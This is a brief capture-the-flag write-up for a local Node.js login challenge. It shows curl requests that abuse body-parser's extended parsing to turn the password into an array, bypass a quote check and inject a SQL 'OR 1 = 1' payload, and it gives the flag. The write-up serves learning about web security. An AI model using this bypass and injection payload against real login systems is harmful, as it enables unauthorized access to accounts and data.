Notes:

  • We can abuse extended=true in body-parser to type juggle and create interesting errors:
curl --location --request POST 'localhost:3000/login' \
				--header 'Content-Type: application/x-www-form-urlencoded' \
				--data-urlencode 'username[]=admin' \
				--data-urlencode 'password[test]=hello'

leads to error:

	<pre>TypeError: v.includes is not a function<br> [...]

Rabbit Holes:

  • qs (used by bodyparser) had some issues with prototype pollution in the past: https://github.com/ljharb/qs/issues/200

Solution

Abusing extended=true in body-parser to parse password parameter as array, replacing the String.includes() with Array.includes() which has a different semantic, allowing us to smuggle in single-quotes to perform a basic SQLi.

curl -L -X POST 'localhost:3000/login' 
				-H 'Content-Type: application/x-www-form-urlencoded' 
				--data-urlencode 'username=admin' 
				--data-urlencode 'password[]=baz'\'' OR 1 = 1 OR '\'''

Flag

dice{sq1i_d03sn7_3v3n_3x1s7_4nym0r3}

Remediation: